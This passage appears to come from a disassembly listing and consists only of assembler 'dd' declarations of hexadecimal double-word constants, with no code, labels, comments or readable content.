		dd 0B8920A6Eh, 0F3DE0186h, 0F29A2E06h, 0ADE1D037h, 9D7A8B01h
		dd 0C4860B46h, 7F60620h, 71BD6401h, 8051B72Ch, 86B7B5A1h
		dd 0E2825401h, 179C1A2Dh, 61868B0h, 0AB00146Bh,	62D6CE66h
		dd 0A1E348h, 0FBD908BDh, 9B809EF0h, 7D12C900h, 49DE72E6h
		dd 0FD1B01CDh, 3F4A7CFCh, 0DD52D050h, 80D6A739h, 3B2EFCFh
		dd 1D7F50Ch, 56F26B15h,	20C2802Ah, 4BE6840Ah, 5E3A549Ah
		dd 0C5C68004h, 18312067h, 90C100CEh, 0F3612979h, 0FD0089E3h
		dd 0E9862326h, 0C0E6D0A8h, 0AF4273ECh, 0A21D136Ch, 3780C809h
		dd 0C0663B31h, 0C900026h, 232748D3h, 330E0775h,	431BF309h
		dd 92CE6A9Bh, 0F1A8809Ah, 0F989DBh, 0BA34447h, 533DE7CCh
		dd 60A7413Ah, 0B3194A28h, 0A10C00FEh, 0C7606BD8h, 9200EA29h
		dd 34447261h, 3BBC3h
		dd 0ABB11E6Ch, 98B5D948h, 6762C800h, 991A1E1h, 8D9D05BAh
		dd 335AC4h, 0C23CC5F9h,	0DB4AADF9h, 7C384C00h, 0D4B7CF29h
		dd 0FC009F98h, 9A8C216Fh, 0B000C931h, 0F95E148Fh, 0E235E746h
		dd 44C202E3h, 2AF140A7h, 0CF82F48Eh, 0C4804878h, 9CD9E7D1h
		dd 59CEFA00h, 0E8BC8834h, 4B4488Fh, 7EA80070h, 0D94E2B4Fh
		dd 0EA07CCECh, 0C5314639h, 625064B7h, 0E0E604B1h, 7F3B0F14h
		dd 2940A095h, 0BF8E3631h, 2DA20700h, 0FA6A989Ah, 0FF270187h
		dd 3AD3CFF0h, 4161D828h, 0C4243600h, 714C6678h,	56B31482h
		dd 1058FC4Ah, 0D2800800h, 251C63B9h, 0BDCA2407h, 5D618594h
		dd 0F9D4DFE7h, 81F7002Ah, 0E2D4ACEDh, 6F02074Ah, 0F68AB46h
		dd 0B3C7E0A6h, 2F2D0A33h, 4FCC162h, 14CD708h, 51F0D2C3h
		dd 9C65F0h, 0D9828F2Bh,	0D7D85573h, 0C6477F00h,	16F4E6BCh
		dd 20772Ch, 215FF7B9h, 804C96A4h, 6403AC00h, 0CB5E8DB8h
		dd 830D0077h, 7ED0F51Fh, 2F0343C8h, 28A3D79Ah, 0AE41D85Ah
		dd 0E48006Dh, 0B96F3E97h, 3A0F5286h, 0C56E5CEh,	0B43024h
		dd 911DB23Bh, 6201B9FEh, 0F06D1400h, 4C68DAD0h,	0EB5417CCh
		dd 0F385CF1h, 13940Eh, 0C28FF817h, 32045DC8h, 0D0B9291Fh
		dd 6E1AF6C0h, 159300B7h, 7760397Ah, 3009CD7h, 0A2FB3ED2h
		dd 2599A31h, 0CCA0C840h, 9480BFD5h, 28B9635Ch, 65308189h
		dd 1A1F0068h, 0A286A3CFh, 7A0097A5h, 49107D76h,	7BBE5E3h
		dd 82D42453h, 7BA09C67h, 0D8C04C00h, 0C7786402h, 6A4D009Fh
		dd 0BBD14C5h, 49001F50h, 384F82DCh, 7B49DEEh, 19404E97h
		dd 0DE942035h, 42FEBD08h, 9B113200h, 66D8D75h, 510C0050h
		dd 0B7D5EDB2h, 64000952h, 0F1DBA52Ah, 0DCC768h,	7798A6DEh
		dd 16338071h, 0E0E51105h, 0CC9078D9h, 3A73226Eh, 0A40997BFh
		dd 9CA0EBA7h, 2B329B7Fh, 302D8D00h, 8C26D398h, 28EB0A6h
		dd 0B6A205D4h, 0F0C0C07Eh, 6E014471h, 0BDD0CB9h, 0A0F5AF1Fh
		dd 28B470h, 0D3E5D643h,	25C236E3h, 3FACD800h, 0DB4A794Dh
		dd 0F61016B5h, 96BF0078h, 0F4406B31h, 0D558C013h, 9B38EC00h
		dd 14E0D0CBh, 0A0D663E3h, 5C79C403h, 8E806C9Dh,	35003C42h
		dd 0EF5BAA3Eh, 0FD4CA0h, 0E25C028Fh, 0E52329CFh, 841A6700h
		dd 0DF22D74Ah, 651900FDh, 0CF170CEBh, 0B10083BBh, 6FAEA497h
		dd 9A61Dh, 91BC117Fh, 335E721Ch, 0EED4BE00h, 532F60CBh
		dd 9B8D07C7h, 53584195h, 0DBD2816Ah, 79E36FC0h,	60E95F3Eh
		dd 265C2BA8h, 58775891h, 0EDFE2700h, 8C013FA3h,	0CC380218h
		dd 8A3929h, 5C5E7DD6h, 465708EFh, 950011FEh, 62D08CAAh
		dd 0D2D0Ch, 53FC857Bh, 2A01F74h, 0F49D4F00h, 84CF5DD6h
		dd 32BA2E2Bh, 0BE88003Dh, 0C061D38Fh, 807D2F3Ch, 34536916h
		dd 3B4CBB9h, 0F1264803h, 48DE79D8h, 31003679h, 0D3D7F3C0h
		dd 82B322h, 622BA0EDh, 2FC1D14Eh, 0B9CA1C00h, 0E27AAEC7h
		dd 99B00053h, 71895788h, 4FE0F522h, 0C800E1FCh,	2F96B71Fh
		dd 48E29DFh, 177E34F1h,	79A8C0F2h, 0A6002B62h, 2751C5DCh
		dd 245EB325h, 4CE4280h,	8046DA88h, 7BE5E84Ch, 4E3DF400h
		dd 0A0AA97E0h, 73A1645h, 6C304001h, 7B9F7602h, 2171FE05h
		dd 84205F88h, 0CAE316h,	68419219h, 0EEB4A8B0h, 84127C9Ah
		dd 0E801E14Bh, 9361B7F3h, 0D5049880h, 4752E594h, 903C6EF8h
		dd 55E900E2h, 0F987F432h, 0AFA40FA0h, 8FA054BFh, 5AB92242h
		dd 7BE1E900h, 5C4E6C5h,	15B400B3h, 52587741h, 6601D3A1h
		dd 8FDF5EC3h, 0EC40C9F7h, 909D0B90h, 0CA041DCCh, 8ED301EFh
		dd 0C03AB1EAh, 90C1E798h, 2045A6FFh, 7FA050D6h,	9B080011h
		dd 0C4540CE9h, 200300Dh, 0D0F6E5AAh, 9CEACB4h, 0EB55E3A1h
		dd 1CC88C80h, 7E0010B2h, 589A314h, 4CB001E8h, 470E186Ah
		dd 0E26F8226h, 44EEDA20h, 8D197A11h, 4B71B9C2h,	9005833h
		dd 0A0573083h, 0DD2505A3h, 0DBAC0065h, 26E4C6Ch, 0CC71C7B5h
		dd 85E0AC4Bh, 0DC02169Eh, 217832A6h, 77D4C097h,	53BE001Fh
		dd 0CFBC2628h, 151D8982h, 72C4DB69h, 30903023h,	277F88h
		dd 7BE9ED57h, 0DF474110h, 75A5AE00h, 0D2F84B3Bh, 3CBB08Ch
		dd 3E4EF57Ch, 9100780Ch, 5AC146FFh, 8F8E50h, 9AA15863h
		dd 37BD206Bh, 2CFD2E0Ch, 503FE1C1h, 7FB1C26h, 0F573A295h
		dd 149F417Dh, 3118BCB1h, 9283106Dh, 0D4C08513h,	31018FF7h
		dd 0E62EFD59h, 69307F3Dh, 6F32000Ch, 47F4C451h,	8F01CA6Ah
		dd 586B376Dh, 80D2C1F3h, 3FC02438h, 76EF84Bh, 0E560E38Ch
		dd 182E937Dh, 77E66780h, 0C30021EEh, 5512DB4Fh,	6071B6C2h
		dd 0F57D90F7h, 0D503E4Bh, 2B50FD28h, 5B07456Ch,	3B39B658h
		dd 2937C040h, 102F50FDh, 78090A41h, 1F8CB1EDh, 814F004Bh
		dd 2682C954h, 63D62101h, 0F8068D1Eh, 4AC4BC81h,	0F9EEE8B9h
		dd 46246D5Ch, 854BE004h, 0D710C34Ch, 18097962h,	60AD5E9Fh
		dd 80941614h, 8E4B05C9h, 4AD92804h, 4AAB0C44h, 0D408140Ah
		dd 13B5917Fh, 6800AFD3h, 0A7D95674h, 230B112h, 51651794h
		dd 14C78460h, 0A1B50D1Dh, 36726140h, 58F8C532h,	972C74D5h
		dd 10840098h, 31AC249Fh, 5859FA16h, 96B1DE01h, 0FFE89815h
		dd 0C08A00F9h, 0D05C50CAh, 84B8BD77h, 5EEC9400h, 0ADCC79BCh
		dd 295506BFh, 2042C922h, 9425E400h, 0C136EC56h,	605E15DCh
		dd 0BA2E9089h, 80C02632h, 8FC2124Ch, 0B51EBD0Eh, 4140119Eh
		dd 0A77188F0h, 57043D2Dh, 892C3907h, 0FBC970BBh, 537F2B6Bh
		dd 68E7DA15h, 794C00BCh, 510B4816h, 0F3A21F9Bh,	55824036h
		dd 0C11888B1h, 32448000h, 0CEC2CC45h, 0F80748B8h, 0DDA95B00h
		dd 0F820D8B1h, 2100D2E6h, 2D7B9C25h, 3A53261h, 5243AD36h
		dd 0FB98DF2Eh, 35015ED1h, 0E5C6E4Fh, 0E2F04878h, 0CF421D8Ah
		dd 49EC80C5h, 0CD3BABFDh, 98DBE900h, 0E26654E8h, 0BBDA00E6h
		dd 13024A71h, 1A0030BFh, 0A99AEB0Fh, 343BA2h, 0FC5AA641h
		dd 69E32C42h, 68D5E000h, 7AE1FE05h, 0BC75000Ch,	0EE0A434Fh
		dd 9F00F378h, 0AF34DA0Bh, 54CB87h, 876B202h, 9D12B479h
		dd 0C8F83700h, 0DFFBAA62h, 0BA9F124Bh, 0B3544E18h, 0C48BF20h
		dd 8D509699h, 0D200AA94h, 0E5C9E855h, 0F6B7D461h, 430E2607h
		dd 4CC30350h, 6FE07572h, 7E49291Ch, 0B0DD0FB8h,	5281C0BAh
		dd 41AAB50h, 0B706F3F9h, 403C90A5h, 2D00C368h, 0AC216C88h
		dd 0B8BE0CE2h, 3B61ECFDh, 31CA2EDh, 8FA4008Eh, 0B10AC31Ch
		dd 0F6E4A002h, 50ED7A6Fh, 0FB70580h, 4957BFh, 9A2758F4h
		dd 0DCA6F7D2h, 44307E02h, 4339A03Ch, 93280BAAh,	380F929Eh
		dd 512890Eh, 0D1156F3Ch, 0BBE44FB4h, 92110351h,	0E07F46B8h
		dd 7081D25Ah, 48B260D9h, 19701D91h, 8D16C2E6h, 1C0BCF41h
		dd 0FD80024h, 0E4E6C6h,	622D21F9h, 38A74F30h, 833C770Fh
		dd 891780E1h, 11A0F3Eh,	0ED55B6EEh, 20D52E7Eh, 3094E17Eh
		dd 1E134100h, 1CAEDCE9h, 0AA7F4EBCh, 0F2F800A8h, 94A4B605h
		dd 75039266h, 7D107CC8h, 0E5ABF869h, 48C500FFh,	266A236h
		dd 230AF09Bh, 0A4092891h, 0FC8B6800h, 1612378Ah, 7DDA3D0h
		dd 858EA923h, 4E8090BEh, 39004D43h, 169B8C4h, 545009C5h
		dd 2E19881h, 8DBE9134h,	94502742h, 72972814h, 0D8E481B8h
		dd 79DDB2B8h, 0F00C74h,	6E231D5Bh, 2F87FC83h, 3F919C0Eh
		dd 9359E06Dh, 1971DAh, 2B7FB9E8h, 0CCE42DB8h, 6CFE5800h
		dd 8E3BE106h, 0AFD8004Ch, 2DEA593Dh, 0D2000A9Ah, 0DDE6F3CBh
		dd 61FBB9h, 0D645D24h
		dd 193F50BCh, 52A12E0Fh, 0EA2B0085h, 3CD082h, 8CA5ECF9h
		dd 0A0B0F138h, 925D7907h, 694C96B6h, 88D801D3h,	0C7EA5390h
		dd 1499F80Dh, 51046B00h, 64D078BBh, 0F38838CBh,	0A045BD00h
		dd 0E88DE460h, 0BAA97500h, 6713BF2Bh, 4F409451h, 0C0116A25h
		dd 408B270Ch, 0CF53091Eh, 499826C0h, 42911Eh, 8621BB6Dh
		dd 1994CDF9h, 0DF3BAD00h, 109ECAB2h, 0AB5E006Fh, 6EA8AF09h
		dd 59006D20h, 0B5C7BD28h, 0C1F13Dh, 0B41D33E0h,	493944A3h
		dd 0AC2B7D00h, 0CEBF2724h, 0C1E8C4h, 4CFD2DF6h,	0EF395001h
		dd 481F9F1Eh, 56CA8F47h, 4031AEB2h, 87BF80h, 3AC1DBA4h
		dd 0AB7CD424h, 71006CB2h, 0D56AEE60h, 0C04D8Ch,	0C3AFF21Bh
		dd 5AF1E5BDh, 1CCB1800h, 510AF8D2h, 39C565A5h, 0C8B0C749h
		dd 0A1B44309h, 0BA98B538h, 1F700064h, 8AF03F84h, 0E893D3h
		dd 54355F2Ah, 4800225Ch, 9026BD89h, 360EDD9h, 0FB8B7D12h
		dd 5FB0EB92h, 4D000208h, 20D7E4ADh, 0BCBC1A4h, 0D1CA3D5h
		dd 0C0600C24h, 0C9F7DD27h, 9E335C00h, 3E92FD71h, 0F29C0011h
		dd 523CAFDCh, 3800F191h, 0D5E61324h, 40B6BAh, 0A3886275h
		dd 0F82D0232h, 901C8405h, 94802F38h, 5FBFFD4h, 4E737D74h
		dd 40A51376h, 0F8C6BB40h, 9F072FAEh, 354D38A9h,	96ED5F50h
		dd 0F2D81601h, 894C4502h, 0EAB38032h, 0AEA02093h, 0D200BE68h
		dd 24A54FEEh, 10DD673h,	0E61AFD4Ch, 0D0E38BAEh,	0F100C36Dh
		dd 2B339B59h, 0AAF8C2h,	5A2B05Dh, 0F74D4CADh, 0A109487Bh
		dd 0A43D5AF2h, 0B2C0D8F8h, 78B339ABh, 12309060h, 0D0F7E9C1h
		dd 2982B52Ch, 76739B02h, 0E26D1551h, 2D828038h,	0A3CC1Ah
		dd 49317D8Eh, 369C3C33h, 4F02017Eh, 645BC765h, 6BF0C866h
		dd 1E070250h, 0C3AE5795h, 7A709480h, 67CDCF8h, 0A00380F4h
		dd 46334776h, 0E9D283CDh, 72E89823h, 20343F81h,	0BDEDDE00h
		dd 6C8D38EAh, 67958E26h, 78EF1800h, 1599C074h, 0F44B03F2h
		dd 6D91CA09h, 0A1E90C40h, 73146B3Dh, 99EB90C7h,	0DE402D87h
		dd 0C36DBCC7h, 4AD6F3A9h, 6FCE4101h, 3FC06A8Eh,	7E74D0h
		dd 0B0AA7AC3h, 41DC1438h, 8F78C400h, 3FAC2315h,	0D172000Dh
		dd 333285A8h, 0FD7D4AE3h, 0B93BCA0Ch, 9C20C2h, 0F559AEE4h
		dd 0F77B6C5Eh, 0CAA29500h, 24566DB7h, 0C078C177h, 803D8E4Fh
		dd 6B925574h, 0A201F323h, 0F76AC36Ch, 0C80039BDh, 4CCD574Dh
		dd 170717EAh, 0EFA81FCFh, 382F7F61h, 80C2F1FFh,	9B39D2E1h
		dd 3C18E57h, 49E93F9Dh,	0F3A0546Bh, 5960BDC7h, 8539CC29h
		dd 1565387Ah, 65AFF1Fh,	217BF846h, 43489902h, 52B2E573h
		dd 482167B0h, 0A7F7C37Fh, 88BD62E0h, 0FFBFC603h, 0C2A8AA8Dh
		dd 80CC8F69h, 0F9467789h, 28839524h, 800D64Ah, 81550854h
		dd 491FBE6Ah, 6D3D5473h, 0E6C56580h, 1B3CFC4Dh,	1DEA3200h
		dd 0C2038084h, 0EBB300A4h, 0B0A2D06Bh, 226F738Fh, 0B67CC30Eh
		dd 3F058844h, 0E84B00C6h, 81C025D3h, 0B1E41513h, 89A3A401h
		dd 6B7DE67Ch, 67AAD8h, 34F3AEB6h, 74EC4D01h, 0A89D7700h
		dd 789968E4h, 8DDA0035h, 725F5D07h, 41006AE6h, 4AB4691Eh
		dd 0B56B23h, 30110ACAh,	0CC83A2D4h, 3ABB2E06h, 598C08Eh
		dd 0F63CF8B5h, 19168026h, 3500B0BDh, 2F96CA09h,	0E2A675ECh
		dd 68C403C3h, 583B8DA3h, 289873A3h, 0B3007A05h,	8379AE47h
		dd 0E8CA2D1h, 0A75104Fh, 0CE807B3Fh, 0C4259AF0h, 7900C617h
		dd 2391FBF8h, 3D97D674h, 2081E098h, 0FAF4C1ABh,	2C2DFCB7h
		dd 0CEB47A00h, 0F0926B1Eh, 12CB003Bh, 0C1C62A32h, 230F4C2h
		dd 3C063081h, 6AD106DFh, 716D72A1h, 4A58EF8h, 35F981F5h
		dd 71D3FB79h, 3618804Bh, 0CC744825h, 9C8C0009h,	0A76217B0h
		dd 0D4E0EA21h, 0D706A0FAh, 2A1434DDh, 8784229h,	8E9FC07h
		dd 2388A148h, 8484902Ch, 4C48FF28h, 222EB742h, 0E1239F50h
		dd 40792808h, 32DF2214h, 44715C42h, 0D9840405h,	8482902h
		dd 18114414h, 5BCF2284h, 44EF08FFh, 78A0DC38h, 208960A2h
		dd 2B021441h, 0E610D012h, 9EEC8861h, 0C6096689h, 88699A10h
		dd 0E888ADD8h, 0C7A88833h, 8964E088h, 0C0210E4h, 9C3000EFh
		dd 3F8C8AE9h, 0E2F2359Eh, 4D00DAFAh, 0AE74E381h, 1822D45h
		dd 2173C7FEh, 607566DCh, 15000605h, 4F8B1B62h, 0F4599A8h
		dd 0D259544h, 74523960h, 920071F0h, 0EF364A3Ch,	381337A6h
		dd 3A00A757h, 0FFCB5D7Fh, 30707B34h, 98273100h,	0B12A5F85h
		dd 0BC5B1D0Fh, 21B440B3h, 7357C463h, 353FCE1Ch,	0BE1BFF80h
		dd 1CC6EADDh, 805822DCh, 0B89BC59Eh, 2B002D50h,	90A6CDAEh
		dd 92BF1Bh, 375BB502h, 61910ADBh, 0CDFB92A0h, 0E3B6E102h
		dd 49F372A8h, 26306C68h, 0DC1E008Bh, 0CB8F0EEBh, 1A792CFDh
		dd 146F9E00h, 439BC471h, 0DAF107D6h, 81C3979Fh,	602725A1h
		dd 600C9A9h, 52961DE5h,	4D0A72DAh, 203E3095h, 0BAE9C000h
		dd 0E4D14186h, 0FF0075E4h, 7E173C6h, 607C6Dh, 6F8A7DD4h
		dd 0DECEE0AEh, 0A6009AF4h, 5232C761h, 5166C1h, 4DFD6DB0h
		dd 9B0F4C78h, 0A6928A00h, 9AD57212h, 0A71400B3h, 0A3508CFDh
		dd 3E00272Ch, 0E2F394EBh, 1CBDD256h, 0FAE4CA55h, 0CD0517h
		dd 35C598C6h, 910016A2h, 0DB5AA3D8h, 0EEF5CAADh, 0C7590EB1h
		dd 0A5A1982Eh, 0FCBA1BC8h, 6400A3EAh, 9773EB26h, 54E875h
		dd 65DCE94h, 0A5ED2BF9h, 825A8B1Eh, 0F7013785h,	5B94B000h
		dd 40F4E6h, 0BDAE6AFCh,	72D3275Dh, 6FABFE00h, 7F4CA1FDh
		dd 4F8800C9h, 0F19E3B93h, 8CE0E05Bh, 607EBD00h,	0BE1A9B2Bh
		dd 0D79F00BAh, 0DDD1C323h, 3E121DD9h, 42000948h, 0E15AABE7h
		dd 0E8B65476h, 364FCB8h, 0B1C59B7Ah, 6B90A215h,	5D00D16Ah
		dd 0A902A624h, 1C327601h, 0F30E25h, 2B6F2AF7h, 9B3A100Dh
		dd 99A8247h, 0C052D5BAh, 730F126Bh, 889D004Ch, 93DE3284h
		dd 0CD09758Ah, 0A4086E2Eh, 848C3490h, 5B73009Eh, 58A7B333h
		dd 3800CD1Dh, 0FC500FFEh, 50DC07A0h, 0A3D8B0h, 0C9DA5317h
		dd 4B9FEF37h, 8D91F900h, 2C64EA2h, 0ECDF7319h, 14997265h
		dd 8DD5E4E7h, 0E4DB28h,	0DA96B087h, 4BA6F423h, 546A7F09h
		dd 99A80001h, 3A25FA93h, 880AB18h, 9DADCA40h, 1500B02Ah
		dd 444BD857h, 3AA7EF04h, 6A00ACA0h, 0E40A4E0Eh,	8D000BB6h
		dd 6F13547Ch, 74735695h, 0DCFE0089h, 65417F47h,	0A700DF62h
		dd 6CE7253h, 0C52D3Dh, 33FD5797h, 0B481E899h, 20C6C48h
		dd 0ED30474Ah, 2F9000F5h, 350008E2h, 0D9AA7EF8h, 0CF1C71h
		dd 6BBF136Eh, 8B60D619h, 6394D501h, 5CA5767h, 24F4E4h
		dd 8492B9A8h, 0EA378747h, 0A39B8E04h, 9D02C457h, 0B22041F9h
		dd 10403Eh, 443985A7h, 1F4F799Ah, 8B6F1A05h, 0C4105B45h
		dd 56871EDBh, 8CD82580h, 32CCDA3h, 24DD1228h, 76C86196h
		dd 48E48F6Dh, 0AE990500h, 49551953h, 3095481Bh,	40F5301Dh
		dd 9DDA93F9h, 0CE395D48h, 0E06000AAh, 0BFEA53A6h, 0AEE64CF3h
		dd 7C688400h, 0CEFDCD20h, 3D498B00h, 0F608BF65h, 2B7B007Eh
		dd 2169185h, 9C001056h,	61FFC814h, 3F32D4F1h, 7C98F630h
		dd 0A6E5190Fh, 50710600h, 7DF2D139h, 3BDF0047h,	0E6DAC5F1h
		dd 8D03272Dh, 465D9C6Dh, 0B3BDD0E5h, 0F78F00CAh, 1B281D05h
		dd 5C00FD4Fh, 0C7534281h, 0E43654h, 0A6F62AB7h,	0B1C925BAh
		dd 0F44AB607h, 1D60D93Bh, 5C846AABh, 3538CDC5h,	7B12AC8Fh
		dd 661C9461h, 5C0FFCC2h, 4B63F00h, 0C506E285h, 0A3800059h
		dd 3AE5F66Fh, 0B5028360h
		dd 76C08F8Dh, 15C860D2h, 4B033F80h, 4099EA9Eh, 95F660C3h
		dd 3000BA01h, 92104F38h, 7D278AD8h, 0F908078Eh,	70A97CEEh
		dd 37C7B84Dh, 6B19B000h, 0D62645D0h, 82B7B8Ah, 46C0EB9Bh
		dd 865B5700h, 7F34AB8h,	0BB95DCEAh, 13A610B3h, 5801D985h
		dd 0D4DDD27Ch, 55D462B5h, 35D00071h, 737143Bh, 24005F9Eh
		dd 0C3B5D8AEh, 0B74B16h, 0E5C21CCEh, 7B2A69F2h,	0ACDBB424h
		dd 301DF900h, 0B85825h,	0CBDABC6h, 0CB8772C8h, 6C3ED707h
		dd 5C704CCFh, 1E4F7C43h, 478B303Dh, 10A044DAh, 0C1CE5086h
		dd 5F105400h, 0C771C5FDh, 0D7ECF7h, 282E1874h, 0B36388B4h
		dd 0E6424900h, 3AE8768Bh, 0DE060025h, 0EABB9F09h, 39008D7Dh
		dd 0FAC9348h, 1F789E41h, 406ABD12h, 0A93A2CA1h,	0C501A6FFh
		dd 19B5D545h, 0E0242FB9h, 26CFE88h, 4331E72h, 0B000FC0Ch
		dd 0F29024Fh, 4A9E1856h, 0EF3B9143h, 9DF32E8h, 80F63800h
		dd 84B4F4A8h, 0A97500C4h, 5144025h, 64F619C8h, 2EC6849h
		dd 77C43BAEh, 7DE040C6h, 0B4624818h, 0AF08D080h, 0C53E9A63h
		dd 2D3E80F1h, 599CF80Fh, 68B5016Dh, 426B485h, 49E44090h
		dd 4A00ABA4h, 54C00E70h, 3BA1E2D5h, 0A7004598h,	8230F26Ah
		dd 0F4001DFCh, 2AC0EFC8h, 197A880Dh, 11BFB8C3h,	0BB6F2078h
		dd 0B9E1100h, 54A09DC2h, 0C1962681h, 91900D8h, 208A5EC8h
		dd 0FC2D920Ch, 6A18C0h,	879E12D0h, 3B7657ADh, 8A85EA00h
		dd 6ECE400Ah, 0C309003Fh, 0DF59B765h, 270BE0BBh, 5DCC964h
		dd 0F180AAF8h, 9E262h, 5A438813h, 901E6D96h, 230079E2h
		dd 0A6CCE58Ah, 1C930C57h, 0C3ADB74Ch, 0B173303h, 0C935AB98h
		dd 36004B72h, 81A752EAh, 0B9770DCh, 7B4CC2BCh, 296DB021h
		dd 7584F0E6h, 85425C38h, 52A52B41h, 812DA900h, 0E8E08A5Dh
		dd 0F4F84C63h, 0E2006858h, 7C50D02Bh, 0AD036C89h, 0F163E20h
		dd 6DABA8C2h, 56820561h, 894D25CFh, 4643300Ch, 1FA0D517h
		dd 6BFB0440h, 0B987AFh,	259FE41Eh, 7219420Dh, 48389CB1h
		dd 8750B42h, 2F10801Fh,	79A639h, 6B202612h, 90F5CD56h
		dd 7B70D80Eh, 279180BBh, 5BACA1h, 589CC612h, 0C0E89714h
		dd 83AEE23Dh, 0C8077A8Ah, 0F8A3D876h, 0FC3B031Fh, 433EEE23h
		dd 71ED9224h, 45008E1Ch, 3A229D05h, 5EE60952h, 88095ECh
		dd 7427A11h, 434CF1Eh, 0CB80A19Fh, 0C4BD098Eh, 0BA140049h
		dd 0AA6FDFE7h, 72004BBEh, 13925CAh, 5B9DE4h, 0E24C418Fh
		dd 0F588BB48h, 8D80CE00h, 3C8A9570h, 557803A0h,	53EA77A2h
		dd 46855E1Eh, 0A9E74100h, 9A56F5h, 0DDE8DEDBh, 0E9D8E1BAh
		dd 6052C0C0h, 0EB64B59h, 4E290174h, 0CC25C0BCh,	0DDCB1FCFh
		dd 4CD4300h, 2AD96FFAh,	6A470024h, 46987FD6h, 6E027E6Dh
		dd 7CC420F4h, 0DD85C1F2h, 45F79E4h, 0FD1BCC3Eh,	9D10C0A3h
		dd 0DA008B03h, 0F9F1633Ch, 439EDBh, 3058B5F6h, 0CA83FE87h
		dd 0DE5CBB00h, 42BD596Dh, 6C2170Ah, 9F0E00CEh, 504936A3h
		dd 0BFE67B24h, 0B7E2F502h, 0EA50C025h, 56E70072h, 7E0DFFCBh
		dd 50008BA7h, 0F63962AEh, 0F7B53786h, 0D6F020h,	0B0A3424Ah
		dd 11EC0FBh, 27821900h,	7464A196h, 48FC09h, 1F56E104h
		dd 5F11BEB7h, 44094176h, 11A815B5h, 0F160B324h,	31590F72h
		dd 3C0051C4h, 8130C81Ch, 4370F17h, 0D82ADE01h, 32F8A647h
		dd 1FC13819h, 0FA1D9D80h, 81B7FEA4h, 58EA2000h,	0A5A72C01h
		dd 279500D5h, 8BE50BBFh, 3204613Bh, 0D14BED3Dh,	0AA64DE80h
		dd 3BF77FCAh, 0ACC8757Bh, 4501603h, 0A000B815h,	52925478h
		dd 56F6DBh, 0C79539E7h,	0D9589A90h, 0FB00AC7Dh,	0A2F04BFDh
		dd 9BBF646h, 5694E942h,	45F3BC80h, 7E484852h, 3D261CACh
		dd 88C700A2h, 0CAA77FE2h, 4C00A2D2h, 4E5C4649h,	0A032504Ah
		dd 726E8C4h, 0EB69E45Eh, 3FD3876Ah, 0E3734CC1h,	2BCDC425h
		dd 390A0100h, 3C8BDF54h, 99B739B4h, 5A978F80h, 0C4CA4AA9h
		dd 0D10F5505h, 0FC00C907h, 0F43929BAh, 3209ADFh, 0B8B49440h
		dd 0FFB8221Dh, 390F880Bh, 0C0417DD3h, 4B8C9AA2h, 1D9470F5h
		dd 0C05C30B6h, 0F8158A10h, 7E0EC356h, 4A86D472h, 7600A075h
		dd 18B562F1h, 2E085834h, 7AB23300h, 0DA477756h,	0F265F500h
		dd 0E76B93Ah, 0DE5B16B3h, 1C6022ABh, 3FB6A4A2h,	0B2E69A60h
		dd 0A0A1E928h, 0C59D8600h, 60CD8C38h, 0A02A7F14h, 26FC84h
		dd 29DDE361h, 81A17803h, 122E448h, 15B78793h, 3C7180CAh
		dd 3D00702Ch, 46B1FD60h, 0BD00116Ch, 63D50B69h,	3DC2B077h
		dd 25804192h, 26FE8271h, 1307A50Dh, 944FA3BDh, 0FE498839h
		dd 90002A16h, 43C53554h, 848230DCh, 312E3E31h, 4DEDBC00h
		dd 4BA36A87h, 13EE95h, 0D571A216h, 0ECAAF1D4h, 2776600h
		dd 0D1A4B788h, 7C322530h, 6D955C80h, 0B9024B96h, 0AF2B9BC8h
		dd 0B105A19h, 1B72DABh,	86D67801h, 52C86060h, 0CB65760Bh
		dd 69150784h, 249042B4h, 2E6CEFA1h, 3446783h, 0F1368CA2h
		dd 0EDF2680Bh, 0FFE82395h, 20280E67h, 94016BC6h, 0DC3B7852h
		dd 0BA22D36Eh, 0CDC0165Dh, 0CA8400AEh, 0BBE6D1DEh, 0AA0C1C9Ah
		dd 295AB63Fh, 7F9B0E6Eh, 935EA744h, 0C8181880h,	0D6006917h
		dd 86E9F249h, 9BC448h, 0C63259C7h, 0AA43B4F9h, 8D2CFE03h
		dd 999F297Bh, 47074A0h,	1EBFCF0h, 679E51A6h, 80A8B3D8h
		dd 4B3FA541h, 5F20430h,	0BDE75EFBh, 2B4C805Bh, 0B1F4D10Eh
		dd 0C62CC700h, 67658418h, 721005B5h, 0C08844D8h, 9354FA88h
		dd 0A29A4300h, 4570A613h, 78B56E5Dh, 0FBE09C2Fh, 0CDA396D3h
		dd 17DBFA38h, 884DB119h, 886118D4h, 7E254F8h, 0C114DDB4h
		dd 0D9405CD6h, 0D416474Ah, 2095E40Eh, 12E4AC07h, 1780020h
		dd 97F860C5h, 5400B9FFh, 4FB38B38h, 5CDDEBF0h, 0F40078FDh
		dd 8AB66028h, 98FA2641h, 3FBAC500h, 0BCB54BE5h,	0F958001Eh
		dd 0A7D9F50h, 4C2ED52Fh, 0BE02F60Bh, 0C016DB05h, 16FE59C1h
		dd 0BC415450h, 30397EECh, 5C190006h, 0E64E2EA1h, 551D008Bh
		dd 0C4D968E9h, 86988477h, 6ADF5A00h, 0E740697Bh, 66F90018h
		dd 6DC0E655h, 991DE2F4h, 771D70DEh, 0D3986F01h,	0B0CFF1B2h
		dd 3F543CADh, 8E0009CBh, 0A0A43631h, 0D800B50Ah, 7B10E2FDh
		dd 7D9E5343h, 50193EB2h, 0BB2DE486h, 7A005071h,	245EA713h
		dd 33B2958h, 7D549D19h,	0C5F8687Fh, 1D00C208h, 3E3850ADh
		dd 1E9A2F41h, 800367B9h, 89DEBC59h, 0CF745B64h,	0D42CB200h
		dd 0F2F4BBCBh, 207B000Ch, 9721B5DAh, 850F63F5h,	60FD9592h
		dd 0B0AF0223h, 0E8820007h, 72DF67BBh, 113DEC9Eh, 8EC5002Ah
		dd 0DA9715CCh, 350600FFh, 86A09F1Ch, 0F300F99Ah, 0D40976B3h
		dd 7ACC05h, 628332AAh, 963B67E2h, 87C9F200h, 2868BD15h
		dd 65600AEh, 608253CBh,	3F0B9CEDh, 2F971FAh, 0C06CD4BBh
		dd 1F8FC4F4h, 0C08CDE36h, 123934A1h, 0A3000652h, 0C624A660h
		dd 0AA2FAEh, 4A8E4E42h,	3287A19Fh, 0FF38B00h, 0C1690102h
		dd 63BC0073h, 513947E2h, 8B004B3Ch, 64A3E423h, 3EA4D5F7h
		dd 0A5808733h, 95A68143h, 963E6975h, 91840004h,	19FC88F9h
		dd 7E180061h, 0DF5262ADh, 0AB0034C8h, 48BD6E16h, 932D4h
		dd 88CF8DA2h, 0A18F05Eh, 0E479D690h, 3D93BF3Bh,	4FA80CDh
